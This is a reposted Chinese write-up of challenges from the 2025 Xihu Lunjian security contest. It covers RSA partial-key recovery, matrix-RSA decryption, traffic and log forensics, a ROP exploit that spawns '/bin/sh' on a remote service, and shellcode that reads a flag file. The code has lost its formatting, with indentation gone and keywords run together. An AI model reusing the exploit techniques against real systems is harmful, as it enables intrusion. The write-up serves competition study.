from sage.all import *
n =
132298777672085547096511087266255066285502135020124093900452138262993155381766816
424955849796168059204379325075568094431259877923353664926875986223020472585645919
414821322880213299188157427622804140996898685564075484754918339670099806186873974
594139182324884620018780943630196754736972805036038798946726414009
p4=970752966872150809487875438363681305876140752895018901378931573244704863174084
9315894253576415843631107370002912949379757275
e = 0x10001
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.
= PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print ("n: ", n)
print ("p: ", p)
print ("q: ", n/p)
https://latallvia-d.github.io/2024/07/02/%E8%AE%BA%E6%96%87%E5%A4%8D%E7%8E%B0%EF%BC%9AA%20Matrix%20Extension%20of%20the%20RSA%20Cryptosystem/
import gmpy2
from sage.allimport *
from Crypto.Util.number import *
n =
132298777672085547096511087266255066285502135020124093900452138262993155381766816
424955849796168059204379325075568094431259877923353664926875986223020472585645919
414821322880213299188157427622804140996898685564075484754918339670099806186873974
594139182324884620018780943630196754736972805036038798946726414009
C = [
(13070095298901431143443402809881041208929472827015670561832673332229746571449570
407215953061865534009670538371030465804499114966206065774593309047308277542581264
130096447254360546036064067594944783720844979483057818496852854736660818008578738
2376536622136035364815331037493098283462540849880674541138443271941,
711087714212816910641410206591062247502364126359145701668930313188600277280934024
533059863613305275635061680630476279798316308300031900758188247679248921071485600
487251555873536831191959019914654644781960491730600975618218770610155877048030064
99153902855903286456023726638247758665778434728734461065079337757,
679999986571123507049279935847831465751820961850201158361885445904662056884427410
396223825768995878579724633379002000380212571646409872813084711002976980626261073
808712625966237367738154455441535083529263742723361545539162043202576970686270632
36060520725376727528604938949588845448940836430120015498687885615),
(23893343854815011808020457237095285782125931083991537368666368653089096539223297
567339111502968295914745423286070638369517207554770793304994639155083818859208362
057394004419565231389473766857235749279110546079776040193183912062870294579472815
588333047561915280189529367474392709554971446978468118280633281993,
971132382926982975151917775591516440265869366863186849938394520362719717150844133
221190727847327671306627528397385651358020580851791809601769912295446430555679530
087400562700146429776041389707404408066594180258868092643003071529971324144231330
0920463145903399054123967914968894345491958980945927764454159601,
449045079759552755788581256717895645685914701041418725735414815086972546217988349
102630126763462048502787447327962117426155310199310856954200005826271448719960188
500989584177509181779913754891065315118949917447453286268872506949501534244391726
67977623425955725695498585224383607063387876414273539268016177401),
(67805732998935098446255672500407441801838056284635701147853683333480924477835278
030145327818330916280792499177503535618310624546400536573924729837478349680007368
781306805363621196573313903080315513952415535369016620873765493531188596985587834
408434835281527678166509365418905214174034794683785063802543354572,
134860487230562692168256154990525634111328927027276348332802699238829086769444186
249023257376199456470931903979198286237882456443330363400842544905422923570449741
398843047150337109886581091609368093987220701256909198299066422733779820211201607
02344103998315875166038849942426382506293976662337161520494820727,
959326907386970245195462891359925127768778847414584392428876030217924095754481925
084568132154869043924407728080836584102850884510862984183039876286341504317257949
046562504533149501264332606139498194326333225998790728058349514784660093433977287
11205498602927752917834774516505262381463414617797291857077444676)
]
e=65537
#print(factor(n))
p =
123057558112881646556817092527172580152292959893029345662127123193148353354619462
41491177972870130171728224502716603340551354171940107285908105124549960063
q =
107509672466218498020903860559216791145161227042523308817221003315267576370440674
92444912824266860574267360247681890637480406758188129451052986858429875143
C = Matrix(Zmod(n), C)
gp = (p**2-p)*(p**2-1)
gq = (q**2-q)*(q**2-1)
g = gp * gq
d = gmpy2.invert(e, g)
M=C**d%n
m = b''.join(long_to_bytes(int(y)) for x in M for y in x)
print(m)
丢安恒云沙箱跑出flag,得到IP:115.195.88.161,然后发现流量包有接口命令执行 flag{setSystemAdmin_115.195.88.161}
DS
DS1
分析日志可以发现传输的文件是一个zip
将Zip提取出来后发现需要密码,寻找密码时发现webshell中有提示
猜测传输的图片就是压缩包的密码,将图片完整的提取下来,之后尝试对图片信息进行提取,最后在盲水印发现了压缩包密码。
解压得到flag
edit
函数将关键地址写入指定位置,构造ROP链,调用system('/bin/sh'),通过触发ROP链的执行,调用system('/bin/sh')
,获取目标系统的shell,实现任意代码执行。
from pwn import *
libc=ELF('./libc.so.6')
p = remote('ip',port)
defcommand(option):
p.sendlineafter(b'choice',str(option))
defedit(idx,Content=b'1'):
command(1)
p.recvuntil(b'edit')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'value')
p.sendline(bytes(str(Content),'utf-8'))
defdword_data(data,half):
if(half==0):
tmp=data&0xffffffff
else:tmp=(data>>32)&0xffffffff
if(tmp>0x7FFFFFFF):tmp-= 2**32
return tmp
for i inrange(8):
command(2)
p.recvuntil(b'push')
p.sendline(b'888')
command(4)
p.recvuntil(b'StackVector contents: ')
vector_data=p.recvuntil(b'n').split(b' ')
libc_addr=(int(vector_data[19])<<32)+(int(vector_data[18])&0xffffffff)
libcbase=libc_addr-0x29d90
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x2a3e5
rop_index=18
edit(rop_index,dword_data(pop_rdi+1,0))
edit(rop_index+1,dword_data(pop_rdi+1,1))
edit(rop_index+2,dword_data(pop_rdi,0))
edit(rop_index+3,dword_data(pop_rdi,1))
edit(rop_index+4,dword_data(str_bin_sh,0))
edit(rop_index+5,dword_data(str_bin_sh,1))
edit(rop_index+6,dword_data(system,0))
edit(rop_index+7,dword_data(system,1))
command(5)
p.interactive()
from pwn import *
p = process('./pwn')
context.arch = 'amd64' # 设置x64模式
shellcode = asm(shellcraft.open('flag',0,0))+asm(shellcraft.mmap(0x80000,0x1000,1,1,'rax',0))+asm('''
mov rax,1
mov rdi,1
mov rsi,0x80000
mov rdx,0x30
mov byte ptr [rip],0x0f
''')+b'x01x05' # 第一步打开flag文件,第二步映射到内存,第三步调用write的syscall,为了防止超过syscall出现次数上限,这里不能出现syscall本来的x0Fx05,通过修改rip寄存器的值(此时rip寄存器已经指向了0x01的位置)把下一个指令修改为syscall
p.send(shellcode)
p.interactive()
原文始发于微信公众号(赛查查):2025西湖论剑网络安全技能大赛个人wp
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论